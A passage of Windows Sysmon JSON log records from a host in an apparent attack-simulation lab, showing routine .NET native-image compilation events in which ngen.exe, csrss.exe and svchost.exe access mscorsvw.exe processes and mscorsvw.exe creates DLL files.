12:00:30.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-001099FF0900}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:30.291\r\nProcessGuid: {90617006-425E-5F2D-0000-001099FF0900}\r\nProcessId: 4376\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1118-0\\System.Configuration.Install.dll\r\nCreationUtcTime: 2020-08-07 12:00:30.291","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:30.291","ProcessGuid":"{90617006-425E-5F2D-0000-001099FF0900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1118-0\\System.Configuration.Install.dll","CreationUtcTime":"2020-08-07 12:00:30.291","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-001014040A00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-001014040A00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-001014040A00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-001014040A00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-001014040A00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-001014040A00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00103E070A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00103E070A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00103E070A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00103E070A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:30.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00103E070A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:30.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00103E070A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:31.885\r\nProcessGuid: {90617006-425E-5F2D-0000-00103E070A00}\r\nProcessId: 748\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\2ec-0\\System.Xaml.dll\r\nCreationUtcTime: 2020-08-07 12:00:31.885","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:31.885","ProcessGuid":"{90617006-425E-5F2D-0000-00103E070A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\2ec-0\\System.Xaml.dll","CreationUtcTime":"2020-08-07 12:00:31.885","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:31.947\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425F-5F2D-0000-0010250B0A00}\r\nTargetProcessId: 616\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 